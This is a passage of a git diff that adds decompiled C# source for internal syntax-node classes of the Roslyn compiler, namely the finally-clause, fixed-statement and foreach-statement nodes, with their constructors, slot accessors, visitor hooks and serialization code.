a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/FinallyClauseSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/FinallyClauseSyntax.cs new file mode 100644 index 0000000..c1213c4 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/FinallyClauseSyntax.cs @@ -0,0 +1,126 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class FinallyClauseSyntax : CSharpSyntaxNode +{ + internal readonly SyntaxToken finallyKeyword; + + internal readonly BlockSyntax block; + + public SyntaxToken FinallyKeyword => finallyKeyword; + + public BlockSyntax Block => block; + + internal FinallyClauseSyntax(SyntaxKind kind, SyntaxToken finallyKeyword, BlockSyntax block, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)finallyKeyword); + this.finallyKeyword = finallyKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)block); + this.block = block; + } + + internal FinallyClauseSyntax(SyntaxKind kind, SyntaxToken finallyKeyword, BlockSyntax block, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)finallyKeyword); + this.finallyKeyword = finallyKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)block); + this.block = block; + } + + internal FinallyClauseSyntax(SyntaxKind kind, SyntaxToken finallyKeyword, BlockSyntax block) + : base(kind) + { + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)finallyKeyword); + this.finallyKeyword = finallyKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)block); + this.block = block; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => finallyKeyword, + 1 => block, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.FinallyClauseSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitFinallyClause(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitFinallyClause(this); + } + + public FinallyClauseSyntax Update(SyntaxToken finallyKeyword, BlockSyntax block) + { + if (finallyKeyword != FinallyKeyword || block != Block) + { + FinallyClauseSyntax finallyClauseSyntax = SyntaxFactory.FinallyClause(finallyKeyword, block); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + finallyClauseSyntax = GreenNodeExtensions.WithDiagnosticsGreen(finallyClauseSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + finallyClauseSyntax = GreenNodeExtensions.WithAnnotationsGreen(finallyClauseSyntax, (IEnumerable)annotations); + } + return finallyClauseSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new FinallyClauseSyntax(base.Kind, finallyKeyword, block, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new FinallyClauseSyntax(base.Kind, finallyKeyword, block, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal FinallyClauseSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 2; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + finallyKeyword = syntaxToken; + BlockSyntax blockSyntax = (BlockSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)blockSyntax); + block = blockSyntax; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)finallyKeyword); + writer.WriteValue((IObjectWritable)(object)block); + } + + static FinallyClauseSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(FinallyClauseSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new FinallyClauseSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/FixedStatementSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/FixedStatementSyntax.cs new file mode 100644 index 0000000..206b49b --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/FixedStatementSyntax.cs @@ -0,0 +1,204 @@ +using System; +using System.Collections.Generic; +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class FixedStatementSyntax : StatementSyntax +{ + internal readonly GreenNode? attributeLists; + + internal readonly SyntaxToken fixedKeyword; + + internal readonly SyntaxToken openParenToken; + + internal readonly VariableDeclarationSyntax declaration; + + internal readonly SyntaxToken closeParenToken; + + internal readonly StatementSyntax statement; + + public override SyntaxList AttributeLists => new SyntaxList(attributeLists); + + public SyntaxToken FixedKeyword => fixedKeyword; + + public SyntaxToken OpenParenToken => openParenToken; + + public VariableDeclarationSyntax Declaration => declaration; + + public SyntaxToken CloseParenToken => closeParenToken; + + public StatementSyntax Statement => statement; + + internal FixedStatementSyntax(SyntaxKind kind, GreenNode? attributeLists, SyntaxToken fixedKeyword, SyntaxToken openParenToken, VariableDeclarationSyntax declaration, SyntaxToken closeParenToken, StatementSyntax statement, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 6; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)fixedKeyword); + this.fixedKeyword = fixedKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openParenToken); + this.openParenToken = openParenToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)declaration); + this.declaration = declaration; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeParenToken); + this.closeParenToken = closeParenToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)statement); + this.statement = statement; + } + + internal FixedStatementSyntax(SyntaxKind kind, GreenNode? attributeLists, SyntaxToken fixedKeyword, SyntaxToken openParenToken, VariableDeclarationSyntax declaration, SyntaxToken closeParenToken, StatementSyntax statement, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 6; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)fixedKeyword); + this.fixedKeyword = fixedKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openParenToken); + this.openParenToken = openParenToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)declaration); + this.declaration = declaration; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeParenToken); + this.closeParenToken = closeParenToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)statement); + this.statement = statement; + } + + internal FixedStatementSyntax(SyntaxKind kind, GreenNode? attributeLists, SyntaxToken fixedKeyword, SyntaxToken openParenToken, VariableDeclarationSyntax declaration, SyntaxToken closeParenToken, StatementSyntax statement) + : base(kind) + { + ((GreenNode)this).SlotCount = 6; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)fixedKeyword); + this.fixedKeyword = fixedKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openParenToken); + this.openParenToken = openParenToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)declaration); + this.declaration = declaration; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeParenToken); + this.closeParenToken = closeParenToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)statement); + this.statement = statement; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => attributeLists, + 1 => fixedKeyword, + 2 => openParenToken, + 3 => declaration, + 4 => closeParenToken, + 5 => statement, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.FixedStatementSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitFixedStatement(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitFixedStatement(this); + } + + public FixedStatementSyntax Update(SyntaxList attributeLists, SyntaxToken fixedKeyword, SyntaxToken openParenToken, VariableDeclarationSyntax declaration, SyntaxToken closeParenToken, StatementSyntax statement) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + if (attributeLists != AttributeLists || fixedKeyword != FixedKeyword || openParenToken != OpenParenToken || declaration != Declaration || closeParenToken != CloseParenToken || statement != Statement) + { + FixedStatementSyntax fixedStatementSyntax = SyntaxFactory.FixedStatement(attributeLists, fixedKeyword, openParenToken, declaration, closeParenToken, statement); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + fixedStatementSyntax = GreenNodeExtensions.WithDiagnosticsGreen(fixedStatementSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + fixedStatementSyntax = GreenNodeExtensions.WithAnnotationsGreen(fixedStatementSyntax, (IEnumerable)annotations); + } + return fixedStatementSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new FixedStatementSyntax(base.Kind, attributeLists, fixedKeyword, openParenToken, declaration, closeParenToken, statement, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new FixedStatementSyntax(base.Kind, attributeLists, fixedKeyword, openParenToken, declaration, closeParenToken, statement, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal FixedStatementSyntax(ObjectReader reader) + : base(reader) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Expected O, but got Unknown + ((GreenNode)this).SlotCount = 6; + GreenNode val = (GreenNode)reader.ReadValue(); + if (val != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val); + attributeLists = val; + } + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + fixedKeyword = syntaxToken; + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + openParenToken = syntaxToken2; + VariableDeclarationSyntax variableDeclarationSyntax = (VariableDeclarationSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)variableDeclarationSyntax); + declaration = variableDeclarationSyntax; + SyntaxToken syntaxToken3 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken3); + closeParenToken = syntaxToken3; + StatementSyntax statementSyntax = (StatementSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)statementSyntax); + statement = statementSyntax; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)attributeLists); + writer.WriteValue((IObjectWritable)(object)fixedKeyword); + writer.WriteValue((IObjectWritable)(object)openParenToken); + writer.WriteValue((IObjectWritable)(object)declaration); + writer.WriteValue((IObjectWritable)(object)closeParenToken); + writer.WriteValue((IObjectWritable)(object)statement); + } + + static FixedStatementSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(FixedStatementSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new FixedStatementSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ForEachStatementSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ForEachStatementSyntax.cs new file mode 100644 index 0000000..514d841 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ForEachStatementSyntax.cs @@ -0,0 +1,276 @@ +using System; +using System.Collections.Generic; +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class ForEachStatementSyntax : CommonForEachStatementSyntax +{ + internal readonly GreenNode? attributeLists; + + internal readonly SyntaxToken? awaitKeyword; + + internal readonly SyntaxToken forEachKeyword; + + internal readonly SyntaxToken openParenToken; + + internal readonly TypeSyntax type; + + internal readonly SyntaxToken identifier; + + internal readonly SyntaxToken inKeyword; + + internal readonly ExpressionSyntax expression; + + internal readonly SyntaxToken closeParenToken; + + internal readonly StatementSyntax statement; + + public override SyntaxList AttributeLists => new SyntaxList(attributeLists); + + public override SyntaxToken? AwaitKeyword => awaitKeyword; + + public override SyntaxToken ForEachKeyword => forEachKeyword; + + public override SyntaxToken OpenParenToken => openParenToken; + + public TypeSyntax Type => type; + + public SyntaxToken Identifier => identifier; + + public override SyntaxToken InKeyword => inKeyword; + + public override ExpressionSyntax Expression => expression; + + public override SyntaxToken CloseParenToken => closeParenToken; + + public override StatementSyntax Statement => statement; + + internal ForEachStatementSyntax(SyntaxKind kind, GreenNode? attributeLists, SyntaxToken? awaitKeyword, SyntaxToken forEachKeyword, SyntaxToken openParenToken, TypeSyntax type, SyntaxToken identifier, SyntaxToken inKeyword, ExpressionSyntax expression, SyntaxToken closeParenToken, StatementSyntax statement, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 10; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + if (awaitKeyword != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)awaitKeyword); + this.awaitKeyword = awaitKeyword; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)forEachKeyword); + this.forEachKeyword = forEachKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openParenToken); + this.openParenToken = openParenToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)type); + this.type = type; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)identifier); + this.identifier = identifier; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)inKeyword); + this.inKeyword = inKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expression); + this.expression = expression; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeParenToken); + this.closeParenToken = closeParenToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)statement); + this.statement = statement; + } + + internal ForEachStatementSyntax(SyntaxKind kind, GreenNode? attributeLists, SyntaxToken? awaitKeyword, SyntaxToken forEachKeyword, SyntaxToken openParenToken, TypeSyntax type, SyntaxToken identifier, SyntaxToken inKeyword, ExpressionSyntax expression, SyntaxToken closeParenToken, StatementSyntax statement, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 10; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + if (awaitKeyword != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)awaitKeyword); + this.awaitKeyword = awaitKeyword; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)forEachKeyword); + this.forEachKeyword = forEachKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openParenToken); + this.openParenToken = openParenToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)type); + this.type = type; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)identifier); + this.identifier = identifier; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)inKeyword); + this.inKeyword = inKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expression); + this.expression = expression; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeParenToken); + this.closeParenToken = closeParenToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)statement); + this.statement = statement; + } + + internal ForEachStatementSyntax(SyntaxKind kind, GreenNode? attributeLists, SyntaxToken? awaitKeyword, SyntaxToken forEachKeyword, SyntaxToken openParenToken, TypeSyntax type, SyntaxToken identifier, SyntaxToken inKeyword, ExpressionSyntax expression, SyntaxToken closeParenToken, StatementSyntax statement) + : base(kind) + { + ((GreenNode)this).SlotCount = 10; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + if (awaitKeyword != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)awaitKeyword); + this.awaitKeyword = awaitKeyword; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)forEachKeyword); + this.forEachKeyword = forEachKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openParenToken); + this.openParenToken = openParenToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)type); + this.type = type; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)identifier); + this.identifier = identifier; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)inKeyword); + this.inKeyword = inKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expression); + this.expression = expression; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeParenToken); + this.closeParenToken = closeParenToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)statement); + this.statement = statement; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => attributeLists, + 1 => awaitKeyword, + 2 => forEachKeyword, + 3 => openParenToken, + 4 => type, + 5 => identifier, + 6 => inKeyword, + 7 => expression, + 8 => closeParenToken, + 9 => statement, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.ForEachStatementSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitForEachStatement(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitForEachStatement(this); + } + + public ForEachStatementSyntax Update(SyntaxList attributeLists, SyntaxToken awaitKeyword, SyntaxToken forEachKeyword, SyntaxToken openParenToken, TypeSyntax type, SyntaxToken identifier, SyntaxToken inKeyword, ExpressionSyntax expression, SyntaxToken closeParenToken, StatementSyntax statement) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0066: Unknown result type (might be due to invalid IL or missing references) + if (attributeLists != AttributeLists || awaitKeyword != AwaitKeyword || forEachKeyword != ForEachKeyword || openParenToken != OpenParenToken || type != Type || identifier != Identifier || inKeyword != InKeyword || expression != Expression || closeParenToken != CloseParenToken || statement != Statement) + { + ForEachStatementSyntax forEachStatementSyntax = SyntaxFactory.ForEachStatement(attributeLists, awaitKeyword, forEachKeyword, openParenToken, type, identifier, inKeyword, expression, closeParenToken, statement); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + forEachStatementSyntax = GreenNodeExtensions.WithDiagnosticsGreen(forEachStatementSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + forEachStatementSyntax = GreenNodeExtensions.WithAnnotationsGreen(forEachStatementSyntax, (IEnumerable)annotations); + } + return forEachStatementSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new ForEachStatementSyntax(base.Kind, attributeLists, awaitKeyword, forEachKeyword, openParenToken, type, identifier, inKeyword, expression, closeParenToken, statement, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new ForEachStatementSyntax(base.Kind, attributeLists, awaitKeyword, forEachKeyword, openParenToken, type, identifier, inKeyword, expression, closeParenToken, statement, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal ForEachStatementSyntax(ObjectReader reader) + : base(reader) + { + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Expected O, but got Unknown + ((GreenNode)this).SlotCount = 10; + GreenNode val = (GreenNode)reader.ReadValue(); + if (val != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val); + attributeLists = val; + } + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + if (syntaxToken != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + awaitKeyword = syntaxToken; + } + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + forEachKeyword = syntaxToken2; + SyntaxToken syntaxToken3 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken3); + openParenToken = syntaxToken3; + TypeSyntax typeSyntax = (TypeSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)typeSyntax); + type = typeSyntax; + SyntaxToken syntaxToken4 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken4); + identifier = syntaxToken4; + SyntaxToken syntaxToken5 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken5); + inKeyword = syntaxToken5; + ExpressionSyntax expressionSyntax = (ExpressionSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expressionSyntax); + expression = expressionSyntax; + SyntaxToken syntaxToken6 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken6); + closeParenToken = syntaxToken6; + StatementSyntax statementSyntax = (StatementSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)statementSyntax); + statement = statementSyntax; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)attributeLists); + writer.WriteValue((IObjectWritable)(object)awaitKeyword); + writer.WriteValue((IObjectWritable)(object)forEachKeyword); + writer.WriteValue((IObjectWritable)(object)openParenToken); + writer.WriteValue((IObjectWritable)(object)type); + writer.WriteValue((IObjectWritable)(object)identifier); + writer.WriteValue((IObjectWritable)(object)inKeyword); + writer.WriteValue((IObjectWritable)(object)expression); + writer.WriteValue((IObjectWritable)(object)closeParenToken); + writer.WriteValue((IObjectWritable)(object)statement); + } + + static ForEachStatementSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(ForEachStatementSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new ForEachStatementSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ForEachVariableStatementSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ForEachVariableStatementSyntax.cs new file mode 100644 index 0000000..3decede --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ForEachVariableStatementSyntax.cs @@ -0,0 +1,261 @@ +using System; +using System.Collections.Generic; +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class ForEachVariableStatementSyntax : CommonForEachStatementSyntax +{ + internal readonly GreenNode? attributeLists; + + internal readonly SyntaxToken? awaitKeyword; + + internal readonly SyntaxToken forEachKeyword; + + internal readonly SyntaxToken openParenToken; + + internal readonly ExpressionSyntax variable; + + internal readonly SyntaxToken inKeyword; + + internal readonly ExpressionSyntax expression; + + internal readonly SyntaxToken closeParenToken; + + internal readonly StatementSyntax statement; + + public override SyntaxList AttributeLists => new SyntaxList(attributeLists); + + public override SyntaxToken? AwaitKeyword => awaitKeyword; + + public override SyntaxToken ForEachKeyword => forEachKeyword; + + public override SyntaxToken OpenParenToken => openParenToken; + + public ExpressionSyntax Variable => variable; + + public override SyntaxToken InKeyword => inKeyword; + + public override ExpressionSyntax Expression => expression; + + public override SyntaxToken CloseParenToken => closeParenToken; + + public override StatementSyntax Statement => statement; + + internal ForEachVariableStatementSyntax(SyntaxKind kind, GreenNode? attributeLists, SyntaxToken? awaitKeyword, SyntaxToken forEachKeyword, SyntaxToken openParenToken, ExpressionSyntax variable, SyntaxToken inKeyword, ExpressionSyntax expression, SyntaxToken closeParenToken, StatementSyntax statement, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 9; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + if (awaitKeyword != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)awaitKeyword); + this.awaitKeyword = awaitKeyword; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)forEachKeyword); + this.forEachKeyword = forEachKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openParenToken); + this.openParenToken = openParenToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)variable); + this.variable = variable; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)inKeyword); + this.inKeyword = inKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expression); + this.expression = expression; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeParenToken); + this.closeParenToken = closeParenToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)statement); + this.statement = statement; + } + + internal ForEachVariableStatementSyntax(SyntaxKind kind, GreenNode? attributeLists, SyntaxToken? awaitKeyword, SyntaxToken forEachKeyword, SyntaxToken openParenToken, ExpressionSyntax variable, SyntaxToken inKeyword, ExpressionSyntax expression, SyntaxToken closeParenToken, StatementSyntax statement, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 9; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + if (awaitKeyword != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)awaitKeyword); + this.awaitKeyword = awaitKeyword; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)forEachKeyword); + this.forEachKeyword = forEachKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openParenToken); + this.openParenToken = openParenToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)variable); + this.variable = variable; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)inKeyword); + this.inKeyword = inKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expression); + this.expression = expression; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeParenToken); + this.closeParenToken = closeParenToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)statement); + this.statement = statement; + } + + internal ForEachVariableStatementSyntax(SyntaxKind kind, GreenNode? attributeLists, SyntaxToken? awaitKeyword, SyntaxToken forEachKeyword, SyntaxToken openParenToken, ExpressionSyntax variable, SyntaxToken inKeyword, ExpressionSyntax expression, SyntaxToken closeParenToken, StatementSyntax statement) + : base(kind) + { + ((GreenNode)this).SlotCount = 9; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + if (awaitKeyword != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)awaitKeyword); 